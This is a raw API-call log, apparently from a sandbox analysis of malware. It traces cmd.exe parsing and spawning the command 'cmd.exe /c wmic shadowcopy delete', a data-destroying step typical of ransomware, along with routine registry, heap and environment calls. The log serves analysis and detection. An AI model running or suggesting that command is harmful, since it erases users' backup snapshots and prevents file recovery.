hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x1, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.161] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x0, lpData=0x26ea70*=0x1, lpcbData=0x26ea68*=0x1000) returned 0x2 [0058.161] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x0, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.161] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x40, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x40, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x0, lpData=0x26ea70*=0x40, lpcbData=0x26ea68*=0x1000) returned 0x2 [0058.162] RegCloseKey (hKey=0x68) returned 0x0 [0058.162] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ea64 | out: phkResult=0x26ea64*=0x68) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x0, lpData=0x26ea70*=0x40, lpcbData=0x26ea68*=0x1000) returned 0x2 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x1, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x0, lpData=0x26ea70*=0x1, lpcbData=0x26ea68*=0x1000) returned 0x2 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x0, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x9, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x4, lpData=0x26ea70*=0x9, lpcbData=0x26ea68*=0x4) returned 0x0 [0058.162] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x0, lpData=0x26ea70*=0x9, lpcbData=0x26ea68*=0x1000) returned 0x2 [0058.162] RegCloseKey (hKey=0x68) returned 0x0 [0058.162] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e2c [0058.162] srand (_Seed=0x5e423e2c) [0058.162] GetCommandLineW () returned="cmd.exe /c wmic shadowcopy delete" [0058.162] GetCommandLineW () returned="cmd.exe /c wmic shadowcopy delete" [0058.162] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.163] GetProcessHeap () returned 0x310000 [0058.163] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x321ff0 [0058.163] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x321ff8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0058.163] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.163] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.163] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.163] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0058.163] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0058.163] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0058.163] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0058.163] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0058.163] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0058.163] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0058.163] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0058.163] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0058.163] GetProcessHeap () returned 0x310000 [0058.163] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x322ac8 | out: hHeap=0x310000) returned 1 [0058.163] GetEnvironmentStringsW () returned 0x322208* [0058.163] GetProcessHeap () returned 0x310000 [0058.163] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xae2) returned 0x324b68 [0058.163] FreeEnvironmentStringsW (penv=0x322208) returned 1 [0058.163] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.163] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.163] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0058.164] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0058.164] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0058.164] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0058.164] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0058.164] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0058.164] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0058.164] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0058.164] GetProcessHeap () returned 0x310000 [0058.164] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x54) returned 0x325658 [0058.164] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f830 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f830, lpFilePart=0x26f82c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f82c*="Desktop") returned 0x25 [0058.164] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.164] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f5ac | out: lpFindFileData=0x26f5ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x321e70 [0058.164] FindClose (in: hFindFile=0x321e70 | out: hFindFile=0x321e70) returned 1 [0058.164] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f5ac | out: lpFindFileData=0x26f5ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x321e70 [0058.164] FindClose (in: hFindFile=0x321e70 | out: hFindFile=0x321e70) returned 1 [0058.164] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0058.164] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f5ac | out: lpFindFileData=0x26f5ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x321e70 [0058.165] FindClose (in: hFindFile=0x321e70 | out: hFindFile=0x321e70) returned 1 [0058.165] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.165] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0058.165] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0058.165] GetProcessHeap () returned 0x310000 [0058.165] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324b68 | out: hHeap=0x310000) returned 1 [0058.165] GetEnvironmentStringsW () returned 0x324078* [0058.165] GetProcessHeap () returned 0x310000 [0058.165] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb36) returned 0x325eb8 [0058.165] FreeEnvironmentStringsW (penv=0x324078) returned 1 [0058.165] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.165] GetProcessHeap () returned 0x310000 [0058.165] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325658 | out: hHeap=0x310000) returned 1 [0058.165] GetProcessHeap () returned 0x310000 [0058.165] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400e) returned 0x3269f8 [0058.166] GetProcessHeap () returned 0x310000 [0058.166] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x3a) returned 0x321e70 [0058.166] GetProcessHeap () returned 0x310000 [0058.166] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3269f8 | out: hHeap=0x310000) returned 1 [0058.166] GetConsoleOutputCP () returned 0x1b5 [0058.787] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.787] GetUserDefaultLCID () returned 0x409 [0058.788] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0058.788] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26f970, cchData=128 | out: lpLCData="0") returned 2 [0058.788] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26f970, cchData=128 | out: lpLCData="0") returned 2 [0058.788] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26f970, cchData=128 | out: lpLCData="1") returned 2 [0058.788] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0058.788] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0058.789] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0058.789] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.790] GetProcessHeap () returned 0x310000 [0058.790] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x20c) returned 0x322d80 [0058.790] GetConsoleTitleW (in: lpConsoleTitle=0x322d80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.790] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.790] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0058.790] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0058.791] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0058.791] GetProcessHeap () returned 0x310000 [0058.791] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x3269f8 [0058.791] GetProcessHeap () returned 0x310000 [0058.791] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3269f8 | out: hHeap=0x310000) returned 1 [0058.791] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0058.791] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0058.791] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0058.792] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0058.792] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0058.792] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0058.792] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0058.792] GetProcessHeap () returned 0x310000 [0058.792] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x58) returned 0x322f98 [0058.792] GetProcessHeap () returned 0x310000 [0058.792] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x12) returned 0x322ff8 [0058.792] GetProcessHeap () returned 0x310000 [0058.792] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x2e) returned 0x323018 [0058.793] GetConsoleTitleW (in: lpConsoleTitle=0x26f668, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.793] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0058.793] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0058.793] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0058.793] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0058.793] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0058.793] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0058.793] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0058.793] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0058.793] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0058.794] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0058.794] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0058.794] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0058.794] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0058.794] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0058.794] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0058.794] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0058.794] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0058.794] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0058.794] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0058.794] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0058.794] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0058.794] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0058.794] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0058.794] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0058.794] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0058.794] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0058.794] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0058.794] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0058.794] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0058.794] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0058.794] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0058.794] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0058.794] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0058.794] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0058.794] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0058.794] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0058.794] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0058.794] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0058.794] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0058.794] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0058.794] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0058.794] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0058.795] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0058.795] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0058.795] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0058.795] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0058.795] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0058.795] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0058.795] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0058.795] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0058.795] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0058.795] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0058.795] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0058.795] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0058.795] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0058.795] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0058.795] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0058.795] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0058.795] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0058.795] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0058.795] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0058.795] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0058.795] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0058.795] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0058.795] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0058.795] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0058.795] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0058.795] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0058.795] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0058.795] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0058.795] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0058.795] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0058.795] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0058.796] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0058.796] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0058.796] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0058.796] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0058.796] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0058.796] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0058.796] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0058.796] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0058.796] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0058.796] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0058.796] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0058.796] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0058.796] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0058.796] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0058.796] GetProcessHeap () returned 0x310000 [0058.796] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x323050 [0058.796] GetProcessHeap () returned 0x310000 [0058.796] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x38) returned 0x323268 [0058.796] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0058.796] GetProcessHeap () returned 0x310000 [0058.796] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x418) returned 0x3107f0 [0058.797] SetErrorMode (uMode=0x0) returned 0x0 [0058.797] SetErrorMode (uMode=0x1) returned 0x0 [0058.797] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3107f8, lpFilePart=0x26f188 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f188*="Desktop") returned 0x25 [0058.797] SetErrorMode (uMode=0x0) returned 0x1 [0058.797] GetProcessHeap () returned 0x310000 [0058.797] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x3107f0, Size=0x5e) returned 0x3107f0 [0058.797] GetProcessHeap () returned 0x310000 [0058.797] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3107f0) returned 0x5e [0058.797] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.797] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.797] GetProcessHeap () returned 0x310000 [0058.797] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x120) returned 0x3232a8 [0058.797] GetProcessHeap () returned 0x310000 [0058.797] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x238) returned 0x310858 [0058.804] GetProcessHeap () returned 0x310000 [0058.804] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x310858, Size=0x122) returned 0x310858 [0058.804] GetProcessHeap () returned 0x310000 [0058.804] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x310858) returned 0x122 [0058.804] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.804] GetProcessHeap () returned 0x310000 [0058.804] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe0) returned 0x3233d0 [0058.806] GetConsoleTitleW (in: lpConsoleTitle=0x26f3fc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.806] InitializeProcThreadAttributeList (in: lpAttributeList=0x26f284, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26f34c | out: lpAttributeList=0x26f284, lpSize=0x26f34c) returned 1 [0058.806] UpdateProcThreadAttribute (in: lpAttributeList=0x26f284, dwFlags=0x0, Attribute=0x60001, lpValue=0x26f344, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26f284, lpPreviousValue=0x0) returned 1 [0058.806] GetStartupInfoW (in: lpStartupInfo=0x26f240 | out: lpStartupInfo=0x26f240*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0058.918] CloseHandle (hObject=0x74) returned 1 [0058.918] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0058.918] GetProcessHeap () returned 0x310000 [0058.918] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325eb8 | out: hHeap=0x310000) returned 1 [0058.918] GetEnvironmentStringsW () returned 0x325eb8* [0058.918] GetProcessHeap () returned 0x310000 [0058.918] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb36) returned 0x324078 [0058.918] FreeEnvironmentStringsW (penv=0x325eb8) returned 1 [0058.918] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0073.453] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x26f220 | out: lpExitCode=0x26f220*=0x80041014) returned 1 [0073.460] CloseHandle (hObject=0x78) returned 1 [0073.460] _vsnwprintf (in: _Buffer=0x26f368, _BufferCount=0x13, _Format="%08X", _ArgList=0x26f22c | out: _Buffer="80041014") returned 8 [0073.461] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0073.461] GetProcessHeap () returned 0x310000 [0073.461] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324078 | out: hHeap=0x310000) returned 1 [0073.461] GetEnvironmentStringsW () returned 0x324078* [0073.461] GetProcessHeap () returned 0x310000 [0073.461] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x329560 [0073.461] FreeEnvironmentStringsW (penv=0x324078) returned 1 [0073.461] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.461] GetProcessHeap () returned 0x310000 [0073.461] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329560 | out: hHeap=0x310000) returned 1 [0073.461] GetEnvironmentStringsW () returned 0x324078* [0073.461] GetProcessHeap () returned 0x310000 [0073.461] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x329560 [0073.461] FreeEnvironmentStringsW (penv=0x324078) returned 1 [0073.461] GetProcessHeap () returned 0x310000 [0073.461] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31fec8 | out: hHeap=0x310000) returned 1 [0073.461] 